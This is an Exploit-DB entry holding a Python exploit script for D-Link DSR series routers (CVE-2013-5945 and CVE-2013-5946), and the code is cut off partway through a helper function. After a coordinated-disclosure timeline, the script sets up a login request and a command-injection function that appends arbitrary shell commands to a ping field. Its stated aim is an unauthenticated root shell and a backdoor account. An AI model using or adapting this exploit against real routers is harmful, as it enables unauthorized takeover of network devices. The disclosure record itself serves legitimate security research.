Exploit-DB #30062
Description: D-Link DSR Router Series - Remote Command Execution
Type: webapps
Platform: hardware
Date: 2013-12-06
Author: 0_o

Exploit:
#!/usr/bin/python
#
# CVEs:                  CVE-2013-5945 - Authentication Bypass by SQL-Injection
#                        CVE-2013-5946 - Privilege Escalation by Arbitrary Command Execution
#
# Vulnerable Routers:    D-Link DSR-150 (Firmware < v1.08B44)
#                        D-Link DSR-150N (Firmware < v1.05B64)
#                        D-Link DSR-250 and DSR-250N (Firmware < v1.08B44)
#                        D-Link DSR-500 and DSR-500N (Firmware < v1.08B77)
#                        D-Link DSR-1000 and DSR-1000N (Firmware < v1.08B77)
#
# Likely to work on:     D-Link DWC-1000
# 
# Download URL:          http://tsd.dlink.com.tw
# 
# Arch:                  mips and armv6l, Linux
# 
# Author:                0_o -- null_null
#                        nu11.nu11 [at] yahoo.com
#                        Oh, and it is n-u-one-one.n-u-one-one, no l's...
#                        Wonder how the guys at packet storm could get this wrong :(
# 
# Date:                  2013-08-18
# 
# Purpose:               Get a non-persistent root shell on your D-Link DSR. 
# 
# Prerequisites:         Network access to the router ports 443 and 23.
#                        !!! NO AUTHENTICATION CREDENTIALS REQUIRED !!!
#
# 
# Coordinated Disclosure -- history and timeline:
# 
# 2013-09-12:   Informed Heise Security and asked for their support on this case
# 2013-09-13:   Informed the manufacturer D-Link via 
#               http://www.dlink.com/us/en/support/security-advisories/report-vulnerabilities/  (contact form is buggy!)
#               http://www.d-link.co.za/contactus/feedback/ (contact request submitted)
#               http://www.dlink.com/de/de/contact-d-link (contact form is buggy!)
#               mail@dlink.ru (contact request sent)
#               info@dlink.ee (contact request sent)
#               info@dlink.de (contact request sent)
# 2013-09-14:   Informed the German Federal Office for Information Security (BSI) via certbund@bsi.bund.de  
# 2013-09-16:   D-Link Russia and D-Link Germany claim to have forwarded my request.
# 2013-09-17:   German BSI responds, contact established.
# 2013-09-24:   Requested CVE-IDs.
# 2013-09-25:   Heise responds, contact established.
# 2013-09-27:   D-Link asks for details on vulns and the exploit code.
#               Mitre assigns two CVEs:
#                  CVE-2013-5945 -- authentication bypass
#                  CVE-2013-5946 -- privilege escalation
# 2013-09-30:   D-Link has received the exploit and documentation via BSI
# 2013-11-29:   Patches are available for the DSR router series via tsd.dlink.com.tw
#                 DSR-150:                Firmware v1.08B44
#                 DSR-150N:               Firmware v1.05B64
#                 DSR-250 and DSR-250N:   Firmware v1.08B44
#                 DSR-500 and DSR-500N:   Firmware v1.08B77
#                 DSR-1000 and DSR-1000N: Firmware v1.08B77
# 2013-12-03:   Public Disclosure
#
# And now - the fun part :-)
#


import httplib
import urllib
import telnetlib
import time
import sys
import crypt
import random
import string


##############################
#
# CHANGE THESE VALUES -- BEGIN
#
# Your router's IP:PORT
ipaddr = "192.168.10.1:443"
# Password to be set (by this hack) on the backdoor account
bd[CREDENTIAL_REDACTED]"
#
# CHANGE THESE VALUES -- END
#
# persistent config file:    /tmp/teamf1.cfg.ascii
#                            Edit this file to make your changes persistent.
# 
##############################


cookie = ""
pid = -2
bduser = ""
    

def request(m = "", u = "", b = "", h = ""):
    global ipaddr
    conn = httplib.HTTPSConnection(ipaddr, timeout = 15)
    assert m in ["GET", "POST"]
    conn.request(method = m, url = u, body = b, headers = h)
    ret = conn.getresponse()
    header = ret.getheaders()
    data = ret.read()
    conn.close()
    return (header, data)


def login(user, passwd):
    global ipaddr
    headers = {'Accept': "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
               'User-Agent': "Exploit",
               'Referer': "https://" + ipaddr + "/scgi-bin/platform.cgi",
               'Content-Type': "application/x-www-form-urlencoded"}
    body = {'thispage'                          : "index.htm",
            'Users.UserName'                    : user,
            'Users.Password'                    : passwd,
            'button.login.Users.deviceStatus'   : "Login",
            'Login.userAgent'                   : "Exploit"}
    return request("POST", "/scgi-bin/platform.cgi", urllib.urlencode(body), headers)
    
    
def logout():
    global ipaddr, cookie
    headers = {'Accept': "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
               'User-Agent': "Exploit",
               'Referer': "https://" + ipaddr + "/scgi-bin/platform.cgi",
               'Content-Type': "application/x-www-form-urlencoded"}
    body = ""
    return request("GET", "/scgi-bin/platform.cgi?page=index.htm", urllib.urlencode(body), headers)


def execCmd(cmd = None):
    global ipaddr, cookie
    assert cmd != None
    headers = {'Accept': "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
               'User-Agent': "Exploit",
               'Referer': "https://" + ipaddr + "/scgi-bin/platform.cgi?page=systemCheck.htm",
               'Cookie': cookie,
               'Content-Type': "application/x-www-form-urlencoded"}
    body = {'thispage'                          : "systemCheck.htm",
            'ping.ip'                           : "localhost;" + cmd,
            'button.traceroute.diagDisplay'     : "Traceroute"}
    return request("POST", "/scgi-bin/platform.cgi", urllib.urlencode(body), headers)


def findPid(mystr = None):
    # "  957 root      2700 S    /usr/sbin/telnetd -l /bin/login"
    assert mystr != None
    mypid = 0
    (h, d) = execCmd(cmd = "ps|grep telnetd|grep